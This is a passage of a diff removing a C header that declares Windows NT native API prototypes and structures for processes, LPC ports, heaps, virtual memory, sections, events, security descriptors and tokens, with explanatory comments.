-NTSYSAPI
-NTSTATUS
-NTAPI
-NtOpenProcess (
- OUT PHANDLE ProcessHandle,
- IN ACCESS_MASK DesiredAccess,
- IN POBJECT_ATTRIBUTES ObjectAttributes,
- IN PCLIENT_ID ClientId OPTIONAL
- );
-
-NTSYSCALLAPI
- NTSTATUS
- NTAPI
- NtSuspendProcess(
- IN HANDLE ProcessHandle
- );
-
-NTSYSCALLAPI
- NTSTATUS
- NTAPI
- NtResumeProcess(
- IN HANDLE ProcessHandle
- );
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtOpenThread (
- OUT PHANDLE ThreadHandle,
- IN ACCESS_MASK DesiredAccess,
- IN POBJECT_ATTRIBUTES ObjectAttributes,
- IN PCLIENT_ID ClientId OPTIONAL
- );
-
-NTSYSAPI
- NTSTATUS
- NTAPI
- NtQueryInformationThread(
- IN HANDLE ThreadHandle,
- IN THREADINFOCLASS ThreadInformationClass,
- OUT PVOID ThreadInformation,
- IN ULONG ThreadInformationLength,
- OUT PULONG ReturnLength OPTIONAL
- );
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtQueryInformationProcess(
- IN HANDLE ProcessHandle,
- IN PROCESSINFOCLASS ProcessInformationClass,
- OUT PVOID ProcessInformation,
- IN ULONG ProcessInformationLength,
- OUT PULONG ReturnLength OPTIONAL
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtSetInformationProcess (
- IN HANDLE ProcessHandle,
- IN PROCESSINFOCLASS ProcessInformationClass,
- IN PVOID ProcessInformation,
- IN ULONG ProcessInformationLength
- );
-
-//------------------------------------------------------------------------------
-// LPC Functions
-
-#define MAX_LPC_DATA 0x130 // Maximum number of bytes that can be copied through LPC
-
-// LPC connection types
-typedef enum _LPC_TYPE
-{
- LPC_NEW_MESSAGE, // (0) A new message
- LPC_REQUEST, // (1) A request message
- LPC_REPLY, // (2) A reply to a request message
- LPC_DATAGRAM, // (3)
- LPC_LOST_REPLY, // (4)
- LPC_PORT_CLOSED, // (5) Send when port is deleted
- LPC_CLIENT_DIED, // (6) Messages to thread termination ports
- LPC_EXCEPTION, // (7) Messages to thread exception ports
- LPC_DEBUG_EVENT, // (8) Messages to thread debug port
- LPC_ERROR_EVENT, // (9) Used by NtRaiseHardError
- LPC_CONNECTION_REQUEST // (A) Used by NtConnectPort
-
-} LPC_TYPE, *PLPC_TYPE;
-
-//
-// Define header for Port Message
-//
-
-typedef struct _PORT_MESSAGE
-{
- USHORT DataLength; // Length of data following the header (bytes)
- USHORT TotalLength; // Length of data + sizeof(PORT_MESSAGE)
- USHORT Type; // Type of the message (See LPC_TYPE enum)
- USHORT VirtualRangesOffset; // Offset of array of virtual address ranges
- CLIENT_ID ClientId; // Client identifier of the message sender
- ULONG MessageId; // Identifier of the particular message instance
- union
- {
- ULONG CallbackId; //
- ULONG ClientViewSize; // Size, in bytes, of section created by the sender
- };
-
-} PORT_MESSAGE, *PPORT_MESSAGE;
-
-//
-// Define structure for initializing shared memory on the caller's side of the port
-//
-
-typedef struct _PORT_VIEW {
-
- ULONG Length; // Size of this structure
- HANDLE SectionHandle; // Handle to section object with
- // SECTION_MAP_WRITE and SECTION_MAP_READ
- ULONG SectionOffset; // The offset in the section to map a view for
- // the port data area. The offset must be aligned
- // with the allocation granularity of the system.
- ULONG ViewSize; // The size of the view (in bytes)
- PVOID ViewBase; // The base address of the view in the creator
- //
- PVOID ViewRemoteBase; // The base address of the view in the process
- // connected to the port.
-} PORT_VIEW, *PPORT_VIEW;
-
-//
-// Define structure for shared memory coming from remote side of the port
-//
-
-typedef struct _REMOTE_PORT_VIEW {
-
- ULONG Length; // Size of this structure
- ULONG ViewSize; // The size of the view (bytes)
- PVOID ViewBase; // Base address of the view
-
-} REMOTE_PORT_VIEW, *PREMOTE_PORT_VIEW;
-
-/*++
-
- NtCreatePort
- ============
-
- Creates a LPC port object. The creator of the LPC port becomes a server
- of LPC communication
-
- PortHandle - Points to a variable that will receive the
- port object handle if the call is successful.
-
- ObjectAttributes - Points to a structure that specifies the object s
- attributes. OBJ_KERNEL_HANDLE, OBJ_OPENLINK, OBJ_OPENIF, OBJ_EXCLUSIVE,
- OBJ_PERMANENT, and OBJ_INHERIT are not valid attributes for a port object.
-
- MaxConnectionInfoLength - The maximum size, in bytes, of data that can
- be sent through the port.
-
- MaxMessageLength - The maximum size, in bytes, of a message
- that can be sent through the port.
-
- MaxPoolUsage - Specifies the maximum amount of NonPaged pool that can be used for
- message storage. Zero means default value.
-
- ZwCreatePort verifies that (MaxDataSize <= 0x104) and (MaxMessageSize <= 0x148).
-
---*/
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtCreatePort(
- OUT PHANDLE PortHandle,
- IN POBJECT_ATTRIBUTES ObjectAttributes,
- IN ULONG MaxConnectionInfoLength,
- IN ULONG MaxMessageLength,
- IN ULONG MaxPoolUsage
- );
-
-
-/*++
-
- NtConnectPort
- =============
-
- Creates a port connected to a named port (cliend side).
-
- PortHandle - A pointer to a variable that will receive the client
- communication port object handle value.
-
- PortName - Points to a structure that specifies the name
- of the port to connect to.
-
- SecurityQos - Points to a structure that specifies the level
- of impersonation available to the port listener.
-
- ClientView - Optionally points to a structure describing
- the shared memory region used to send large amounts of data
- to the listener; if the call is successful, this will be updated.
-
- ServerView - Optionally points to a caller-allocated buffer
- or variable that receives information on the shared memory region
- used by the listener to send large amounts of data to the
- caller.
-
- MaxMessageLength - Optionally points to a variable that receives the size,
- in bytes, of the largest message that can be sent through the port.
-
- ConnectionInformation - Optionally points to a caller-allocated
- buffer or variable that specifies connect data to send to the listener,
- and receives connect data sent by the listener.
-
- ConnectionInformationLength - Optionally points to a variable that
- specifies the size, in bytes, of the connect data to send
- to the listener, and receives the size of the connect data
- sent by the listener.
-
---*/
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtConnectPort(
- OUT PHANDLE PortHandle,
- IN PUNICODE_STRING PortName,
- IN PSECURITY_QUALITY_OF_SERVICE SecurityQos,
- IN OUT PPORT_VIEW ClientView OPTIONAL,
- OUT PREMOTE_PORT_VIEW ServerView OPTIONAL,
- OUT PULONG MaxMessageLength OPTIONAL,
- IN OUT PVOID ConnectionInformation OPTIONAL,
- IN OUT PULONG ConnectionInformationLength OPTIONAL
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-ZwConnectPort(
- OUT PHANDLE PortHandle,
- IN PUNICODE_STRING PortName,
- IN PSECURITY_QUALITY_OF_SERVICE SecurityQos,
- IN OUT PPORT_VIEW ClientView OPTIONAL,
- OUT PREMOTE_PORT_VIEW ServerView OPTIONAL,
- OUT PULONG MaxMessageLength OPTIONAL,
- IN OUT PVOID ConnectionInformation OPTIONAL,
- IN OUT PULONG ConnectionInformationLength OPTIONAL
- );
-
-
-/*++
-
- NtListenPort
- ============
-
- Listens on a port for a connection request message on the server side.
-
- PortHandle - A handle to a port object. The handle doesn't need
- to grant any specific access.
-
- ConnectionRequest - Points to a caller-allocated buffer
- or variable that receives the connect message sent to
- the port.
-
---*/
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtListenPort(
- IN HANDLE PortHandle,
- OUT PPORT_MESSAGE RequestMessage
- );
-
-/*++
-
- NtAcceptConnectPort
- ===================
-
- Accepts or rejects a connection request on the server side.
-
- PortHandle - Points to a variable that will receive the port object
- handle if the call is successful.
-
- PortContext - A numeric identifier to be associated with the port.
-
- ConnectionRequest - Points to a caller-allocated buffer or variable
- that identifies the connection request and contains any connect
- data that should be returned to requestor of the connection
-
- AcceptConnection - Specifies whether the connection should
- be accepted or not
-
- ServerView - Optionally points to a structure describing
- the shared memory region used to send large amounts of data to the
- requestor; if the call is successful, this will be updated
-
- ClientView - Optionally points to a caller-allocated buffer
- or variable that receives information on the shared memory
- region used by the requestor to send large amounts of data to the
- caller
-
---*/
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtAcceptConnectPort(
- OUT PHANDLE PortHandle,
- IN PVOID PortContext OPTIONAL,
- IN PPORT_MESSAGE ConnectionRequest,
- IN BOOLEAN AcceptConnection,
- IN OUT PPORT_VIEW ServerView OPTIONAL,
- OUT PREMOTE_PORT_VIEW ClientView OPTIONAL
- );
-
-/*++
-
- NtCompleteConnectPort
- =====================
-
- Completes the port connection process on the server side.
-
- PortHandle - A handle to a port object. The handle doesn't need
- to grant any specific access.
-
---*/
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtCompleteConnectPort(
- IN HANDLE PortHandle
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-ZwCompleteConnectPort(
- IN HANDLE PortHandle
- );
-
-
-/*++
-
- NtRequestPort
- =============
-
- Sends a request message to a port (client side)
-
- PortHandle - A handle to a port object. The handle doesn't need
- to grant any specific access.
-
- RequestMessage - Points to a caller-allocated buffer or variable
- that specifies the request message to send to the port.
-
---*/
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtRequestPort (
- IN HANDLE PortHandle,
- IN PPORT_MESSAGE RequestMessage
- );
-
-/*++
-
- NtRequestWaitReplyPort
- ======================
-
- Sends a request message to a port and waits for a reply (client side)
-
- PortHandle - A handle to a port object. The handle doesn't need
- to grant any specific access.
-
- RequestMessage - Points to a caller-allocated buffer or variable
- that specifies the request message to send to the port.
-
- ReplyMessage - Points to a caller-allocated buffer or variable
- that receives the reply message sent to the port.
-
---*/
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtRequestWaitReplyPort(
- IN HANDLE PortHandle,
- IN PPORT_MESSAGE RequestMessage,
- OUT PPORT_MESSAGE ReplyMessage
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-ZwRequestWaitReplyPort(
- IN HANDLE PortHandle,
- IN PPORT_MESSAGE RequestMessage,
- OUT PPORT_MESSAGE ReplyMessage
- );
-
-
-/*++
-
- NtReplyPort
- ===========
-
- Sends a reply message to a port (Server side)
-
- PortHandle - A handle to a port object. The handle doesn't need
- to grant any specific access.
-
- ReplyMessage - Points to a caller-allocated buffer or variable
- that specifies the reply message to send to the port.
-
---*/
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtReplyPort(
- IN HANDLE PortHandle,
- IN PPORT_MESSAGE ReplyMessage
- );
-
-/*++
-
- NtReplyWaitReplyPort
- ====================
-
- Sends a reply message to a port and waits for a reply message
-
- PortHandle - A handle to a port object. The handle doesn't need
- to grant any specific access.
-
- ReplyMessage - Points to a caller-allocated buffer or variable
- that specifies the reply message to send to the port.
-
---*/
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtReplyWaitReplyPort(
- IN HANDLE PortHandle,
- IN OUT PPORT_MESSAGE ReplyMessage
- );
-
-
-/*++
-
- NtReplyWaitReceivePort
- ======================
-
- Optionally sends a reply message to a port and waits for a
- message
-
- PortHandle - A handle to a port object. The handle doesn't need
- to grant any specific access.
-
- PortContext - Optionally points to a variable that receives
- a numeric identifier associated with the port.
-
- ReplyMessage - Optionally points to a caller-allocated buffer
- or variable that specifies the reply message to send to the port.
-
- ReceiveMessage - Points to a caller-allocated buffer or variable
- that receives the message sent to the port.
-
---*/
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtReplyWaitReceivePort(
- IN HANDLE PortHandle,
- OUT PVOID *PortContext OPTIONAL,
- IN PPORT_MESSAGE ReplyMessage OPTIONAL,
- OUT PPORT_MESSAGE ReceiveMessage
- );
-
-//-----------------------------------------------------------------------------
-// Heap functions
-
-#define HEAP_NO_SERIALIZE 0x00000001
-#define HEAP_GROWABLE 0x00000002
-#define HEAP_GENERATE_EXCEPTIONS 0x00000004
-#define HEAP_ZERO_MEMORY 0x00000008
-#define HEAP_REALLOC_IN_PLACE_ONLY 0x00000010
-#define HEAP_TAIL_CHECKING_ENABLED 0x00000020
-#define HEAP_FREE_CHECKING_ENABLED 0x00000040
-#define HEAP_DISABLE_COALESCE_ON_FREE 0x00000080
-#define HEAP_CREATE_ALIGN_16 0x00010000
-#define HEAP_CREATE_ENABLE_TRACING 0x00020000
-#define HEAP_MAXIMUM_TAG 0x0FFF
-#define HEAP_PSEUDO_TAG_FLAG 0x8000
-
-//
-// Data structure for heap definition. This includes various
-// sizing parameters and callback routines, which, if left NULL,
-// result in default behavior
-//
-
-typedef struct RTL_HEAP_PARAMETERS {
- ULONG Length; //sizeof(RTL_HEAP_PARAMETERS)
- ULONG SegmentReserve;
- ULONG SegmentCommit;
- ULONG DeCommitFreeBlockThreshold;
- ULONG DeCommitTotalFreeThreshold;
- ULONG MaximumAllocationSize;
- ULONG VirtualMemoryThreshold;
- ULONG InitialCommit;
- ULONG InitialReserve;
- PVOID CommitRoutine;
- ULONG Reserved;
-} RTL_HEAP_PARAMETERS, *PRTL_HEAP_PARAMETERS;
-
-
-#define RtlProcessHeap() (HANDLE)(NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap)
-
-
-NTSYSAPI
-HANDLE
-NTAPI
-RtlCreateHeap (
- IN ULONG Flags,
- IN PVOID BaseAddress OPTIONAL,
- IN ULONG SizeToReserve,
- IN ULONG SizeToCommit,
- IN BOOLEAN Lock OPTIONAL,
- IN PRTL_HEAP_PARAMETERS Definition OPTIONAL
- );
-
-
-NTSYSAPI
-ULONG
-NTAPI
-RtlDestroyHeap (
- IN HANDLE HeapHandle
- );
-
-
-NTSYSAPI
-PVOID
-NTAPI
-RtlAllocateHeap (
- IN HANDLE HeapHandle,
- IN ULONG Flags,
- IN ULONG Size
- );
-
-
-NTSYSAPI
-BOOLEAN
-NTAPI
-RtlFreeHeap (
- IN HANDLE HeapHandle,
- IN ULONG Flags,
- IN PVOID Address
- );
-
-
-NTSYSAPI
-ULONG
-NTAPI
-RtlCompactHeap (
- IN HANDLE HeapHandle,
- IN ULONG Flags
- );
-
-
-NTSYSAPI
-BOOLEAN
-NTAPI
-RtlLockHeap (
- IN HANDLE HeapHandle
- );
-
-
-NTSYSAPI
-BOOLEAN
-NTAPI
-RtlUnlockHeap (
- IN HANDLE HeapHandle
- );
-
-
-NTSYSAPI
-PVOID
-NTAPI
-RtlReAllocateHeap (
- IN HANDLE HeapHandle,
- IN ULONG Flags,
- IN PVOID Address,
- IN ULONG Size
- );
-
-
-NTSYSAPI
-ULONG
-NTAPI
-RtlSizeHeap (
- IN HANDLE HeapHandle,
- IN ULONG Flags,
- IN PVOID Address
- );
-
-
-NTSYSAPI
-BOOLEAN
-NTAPI
-RtlValidateHeap (
- IN HANDLE HeapHandle,
- IN ULONG Flags,
- IN PVOID Address OPTIONAL
- );
-
-
-//-----------------------------------------------------------------------------
-// Virtual memory functions
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtAllocateVirtualMemory (
- IN HANDLE ProcessHandle,
- IN OUT PVOID *BaseAddress,
- IN ULONG ZeroBits,
- IN OUT PULONG RegionSize,
- IN ULONG AllocationType,
- IN ULONG Protect
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-ZwAllocateVirtualMemory (
- IN HANDLE ProcessHandle,
- IN OUT PVOID *BaseAddress,
- IN ULONG ZeroBits,
- IN OUT PULONG RegionSize,
- IN ULONG AllocationType,
- IN ULONG Protect
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtFreeVirtualMemory (
- IN HANDLE ProcessHandle,
- IN OUT PVOID *BaseAddress,
- IN OUT PULONG RegionSize,
- IN ULONG FreeType
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-ZwFreeVirtualMemory (
- IN HANDLE ProcessHandle,
- IN OUT PVOID *BaseAddress,
- IN OUT PULONG RegionSize,
- IN ULONG FreeType
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtReadVirtualMemory(
- IN HANDLE ProcessHandle,
- IN PVOID BaseAddress,
- OUT PVOID Buffer,
- IN ULONG NumberOfBytesToRead,
- OUT PULONG NumberOfBytesRead OPTIONAL
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtWriteVirtualMemory(
- IN HANDLE ProcessHandle,
- IN PVOID BaseAddress,
- IN PVOID Buffer,
- IN ULONG NumberOfBytesToWrite,
- OUT PULONG NumberOfBytesWritten OPTIONAL
- );
-
-
-//-----------------------------------------------------------------------------
-// Section functions
-
-typedef enum _SECTION_INHERIT
-{
- ViewShare = 1,
- ViewUnmap = 2
-
-} SECTION_INHERIT;
-
-
-typedef enum _SECTION_INFORMATION_CLASS
-{
- SectionBasicInformation,
- SectionImageInformation
-
-} SECTION_INFORMATION_CLASS, *PSECTION_INFORMATION_CLASS;
-
-
-/*++
-
- NtCreateSection
- ===============
-
- Creates a section object.
-
- SectionHandle - Points to a variable that will receive the section
- object handle if the call is successful.
-
- DesiredAccess - Specifies the type of access that the caller requires
- to the section object. This parameter can be zero, or any combination
- of the following flags:
-
- SECTION_QUERY - Query access
- SECTION_MAP_WRITE - Can be written when mapped
- SECTION_MAP_READ - Can be read when mapped
- SECTION_MAP_EXECUTE - Can be executed when mapped
- SECTION_EXTEND_SIZE - Extend access
- SECTION_ALL_ACCESS - All of the preceding +
- STANDARD_RIGHTS_REQUIRED
-
- ObjectAttributes - Points to a structure that specifies the object s attributes.
- OBJ_OPENLINK is not a valid attribute for a section object.
-
- MaximumSize - Optionally points to a variable that specifies the size,
- in bytes, of the section. If FileHandle is zero, the size must be
- specified; otherwise, it can be defaulted from the size of the file
- referred to by FileHandle.
-
- SectionPageProtection - The protection desired for the pages
- of the section when the section is mapped. This parameter can take
- one of the following values:
-
- PAGE_READONLY
- PAGE_READWRITE
- PAGE_WRITECOPY
- PAGE_EXECUTE
- PAGE_EXECUTE_READ
- PAGE_EXECUTE_READWRITE
- PAGE_EXECUTE_WRITECOPY
-
- AllocationAttributes - The attributes for the section. This parameter must
- be a combination of the following values:
-
- SEC_BASED 0x00200000 // Map section at same address in each process
- SEC_NO_CHANGE 0x00400000 // Disable changes to protection of pages
- SEC_IMAGE 0x01000000 // Map section as an image
- SEC_VLM 0x02000000 // Map section in VLM region
- SEC_RESERVE 0x04000000 // Reserve without allocating pagefile storage
- SEC_COMMIT 0x08000000 // Commit pages; the default behavior
- SEC_NOCACHE 0x10000000 // Mark pages as non-cacheable
-
- FileHandle - Identifies the file from which to create the section object.
- The file must be opened with an access mode compatible with the protection
- flags specified by the Protect parameter. If FileHandle is zero,
- the function creates a section object of the specified size backed
- by the paging file rather than by a named file in the file system.
-
---*/
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtCreateSection(
- OUT PHANDLE SectionHandle,
- IN ACCESS_MASK DesiredAccess,
- IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
- IN PLARGE_INTEGER MaximumSize OPTIONAL,
- IN ULONG SectionPageProtection,
- IN ULONG AllocationAttributes,
- IN HANDLE FileHandle OPTIONAL
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-ZwCreateSection(
- OUT PHANDLE SectionHandle,
- IN ACCESS_MASK DesiredAccess,
- IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
- IN PLARGE_INTEGER MaximumSize OPTIONAL,
- IN ULONG SectionPageProtection,
- IN ULONG AllocationAttributes,
- IN HANDLE FileHandle OPTIONAL
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtOpenSection (
- OUT PHANDLE SectionHandle,
- IN ACCESS_MASK DesiredAccess,
- IN POBJECT_ATTRIBUTES ObjectAttributes
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-ZwOpenSection (
- OUT PHANDLE SectionHandle,
- IN ACCESS_MASK DesiredAccess,
- IN POBJECT_ATTRIBUTES ObjectAttributes
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtMapViewOfSection (
- IN HANDLE SectionHandle,
- IN HANDLE ProcessHandle,
- IN OUT PVOID *BaseAddress,
- IN ULONG ZeroBits,
- IN ULONG CommitSize,
- IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
- IN OUT PULONG ViewSize,
- IN SECTION_INHERIT InheritDisposition,
- IN ULONG AllocationType,
- IN ULONG Protect
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-ZwMapViewOfSection (
- IN HANDLE SectionHandle,
- IN HANDLE ProcessHandle,
- IN OUT PVOID *BaseAddress,
- IN ULONG ZeroBits,
- IN ULONG CommitSize,
- IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
- IN OUT PULONG ViewSize,
- IN SECTION_INHERIT InheritDisposition,
- IN ULONG AllocationType,
- IN ULONG Protect
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtUnmapViewOfSection (
- IN HANDLE ProcessHandle,
- IN PVOID BaseAddress
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-ZwUnmapViewOfSection (
- IN HANDLE ProcessHandle,
- IN PVOID BaseAddress
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtExtendSection (
- IN HANDLE SectionHandle,
- IN OUT PLARGE_INTEGER SectionSize
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-ZwExtendSection (
- IN HANDLE SectionHandle,
- IN OUT PLARGE_INTEGER SectionSize
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtQuerySection (
- IN HANDLE SectionHandle,
- IN SECTION_INFORMATION_CLASS SectionInformationClass,
- OUT PVOID SectionInformation,
- IN ULONG Length,
- OUT PULONG ResultLength OPTIONAL
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-ZwQuerySection (
- IN HANDLE SectionHandle,
- IN SECTION_INFORMATION_CLASS SectionInformationClass,
- OUT PVOID SectionInformation,
- IN ULONG Length,
- OUT PULONG ResultLength OPTIONAL
- );
-
-
-//-----------------------------------------------------------------------------
-// Synchronization
-
-//
-// Wait type
-//
-
-typedef enum _WAIT_TYPE {
- WaitAll,
- WaitAny
- } WAIT_TYPE;
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtWaitForSingleObject (
- IN HANDLE Handle,
- IN BOOLEAN Alertable,
- IN PLARGE_INTEGER Timeout OPTIONAL
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-ZwWaitForSingleObject (
- IN HANDLE Handle,
- IN BOOLEAN Alertable,
- IN PLARGE_INTEGER Timeout OPTIONAL
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtWaitForMultipleObjects (
- IN ULONG Count,
- IN HANDLE Handle[],
- IN WAIT_TYPE WaitType,
- IN BOOLEAN Alertable,
- IN PLARGE_INTEGER Timeout OPTIONAL
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-ZwWaitForMultipleObjects (
- IN ULONG Count,
- IN HANDLE Handle[],
- IN WAIT_TYPE WaitType,
- IN BOOLEAN Alertable,
- IN PLARGE_INTEGER Timeout OPTIONAL
- );
-
-
-//-----------------------------------------------------------------------------
-// Event support
-
-typedef enum _EVENT_INFORMATION_CLASS {
- EventBasicInformation // = 0
-} EVENT_INFORMATION_CLASS;
-
-typedef struct _EVENT_BASIC_INFORMATION {
- EVENT_TYPE EventType;
- LONG EventState;
-} EVENT_BASIC_INFORMATION, *PEVENT_BASIC_INFORMATION;
-
-//
-// Event handling routines
-//
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtCreateEvent (
- OUT PHANDLE EventHandle,
- IN ACCESS_MASK DesiredAccess,
- IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
- IN EVENT_TYPE EventType,
- IN BOOLEAN InitialState
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-ZwCreateEvent (
- OUT PHANDLE EventHandle,
- IN ACCESS_MASK DesiredAccess,
- IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
- IN EVENT_TYPE EventType,
- IN BOOLEAN InitialState
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtClearEvent (
- IN HANDLE Handle
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-ZwClearEvent (
- IN HANDLE Handle
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtPulseEvent (
- IN HANDLE Handle,
- OUT PLONG PreviousState OPTIONAL
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-ZwPulseEvent (
- IN HANDLE Handle,
- OUT PLONG PreviousState OPTIONAL
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtResetEvent (
- IN HANDLE Handle,
- OUT PLONG PreviousState OPTIONAL
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-ZwResetEvent (
- IN HANDLE Handle,
- OUT PLONG PreviousState OPTIONAL
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtSetEvent (
- IN HANDLE Handle,
- OUT PLONG PreviousState OPTIONAL
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-ZwSetEvent (
- IN HANDLE Handle,
- OUT PLONG PreviousState OPTIONAL
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtOpenEvent (
- OUT PHANDLE EventHandle,
- IN ACCESS_MASK DesiredAccess,
- IN POBJECT_ATTRIBUTES ObjectAttributes
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-ZwOpenEvent (
- OUT PHANDLE EventHandle,
- IN ACCESS_MASK DesiredAccess,
- IN POBJECT_ATTRIBUTES ObjectAttributes
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtQueryEvent (
- IN HANDLE EventHandle,
- IN EVENT_INFORMATION_CLASS EventInfoClass,
- OUT PVOID EventInfo,
- IN ULONG Length,
- OUT PULONG ResultLength OPTIONAL
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-ZwQueryEvent (
- IN HANDLE EventHandle,
- IN EVENT_INFORMATION_CLASS EventInfoClass,
- OUT PVOID EventInfo,
- IN ULONG Length,
- OUT PULONG ResultLength OPTIONAL
- );
-
-
-//-----------------------------------------------------------------------------
-// Security descriptor functions
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-RtlCreateSecurityDescriptor (
- IN PSECURITY_DESCRIPTOR SecurityDescriptor,
- IN ULONG Revision
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-RtlSetDaclSecurityDescriptor(
- IN PSECURITY_DESCRIPTOR SecurityDescriptor,
- IN BOOLEAN DaclPresent,
- IN PACL Dacl OPTIONAL,
- IN BOOLEAN DaclDefaulted OPTIONAL
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-RtlSetOwnerSecurityDescriptor (
- IN PSECURITY_DESCRIPTOR SecurityDescriptor,
- IN PSID Owner OPTIONAL,
- IN BOOLEAN OwnerDefaulted OPTIONAL
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-RtlAllocateAndInitializeSid(
- IN PSID_IDENTIFIER_AUTHORITY IdentifierAuthority,
- IN UCHAR SubAuthorityCount,
- IN ULONG SubAuthority0,
- IN ULONG SubAuthority1,
- IN ULONG SubAuthority2,
- IN ULONG SubAuthority3,
- IN ULONG SubAuthority4,
- IN ULONG SubAuthority5,
- IN ULONG SubAuthority6,
- IN ULONG SubAuthority7,
- OUT PSID *Sid
- );
-
-
-NTSYSAPI
-ULONG
-NTAPI
-RtlLengthSid (
- IN PSID Sid
- );
-
-
-NTSYSAPI
-BOOLEAN
-NTAPI
-RtlEqualSid (
- IN PSID Sid1,
- IN PSID Sid2
- );
-
-
-NTSYSAPI
-PVOID
-NTAPI
-RtlFreeSid(
- IN PSID Sid
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-RtlCreateAcl(
- IN PACL Acl,
- IN ULONG AclLength,
- IN ULONG AclRevision
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-RtlAddAccessAllowedAce(
- IN OUT PACL Acl,
- IN ULONG AceRevision,
- IN ACCESS_MASK AccessMask,
- IN PSID Sid
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-RtlAddAccessAllowedAceEx(
- IN OUT PACL Acl,
- IN ULONG AceRevision,
- IN ULONG AceFlags,
- IN ULONG AccessMask,
- IN PSID Sid
- );
-
-//-----------------------------------------------------------------------------
-// Token functions
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtOpenProcessToken(
- IN HANDLE ProcessHandle,
- IN ACCESS_MASK DesiredAccess,
- OUT PHANDLE TokenHandle
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtOpenThreadToken(
- IN HANDLE ThreadHandle,
- IN ACCESS_MASK DesiredAccess,
- IN BOOLEAN OpenAsSelf,
- OUT PHANDLE TokenHandle
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtQueryInformationToken(
- IN HANDLE TokenHandle,
- IN TOKEN_INFORMATION_CLASS TokenInformationClass,
- OUT PVOID TokenInformation,
- IN ULONG TokenInformationLength,
- OUT PULONG ReturnLength
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtSetInformationToken(
- IN HANDLE TokenHandle,
- IN TOKEN_INFORMATION_CLASS TokenInformationClass,
- IN PVOID TokenInformation,
- IN ULONG TokenInformationLength
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtAdjustPrivilegesToken(
- IN HANDLE TokenHandle,
- IN BOOLEAN DisableAllPrivileges,
- IN PTOKEN_PRIVILEGES NewState OPTIONAL,
- IN ULONG BufferLength OPTIONAL,
- IN PTOKEN_PRIVILEGES PreviousState OPTIONAL,
- OUT PULONG ReturnLength
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtDuplicateToken(
- IN HANDLE ExistingTokenHandle,
- IN ACCESS_MASK DesiredAccess,
- IN POBJECT_ATTRIBUTES ObjectAttributes,
- IN BOOLEAN EffectiveOnly,
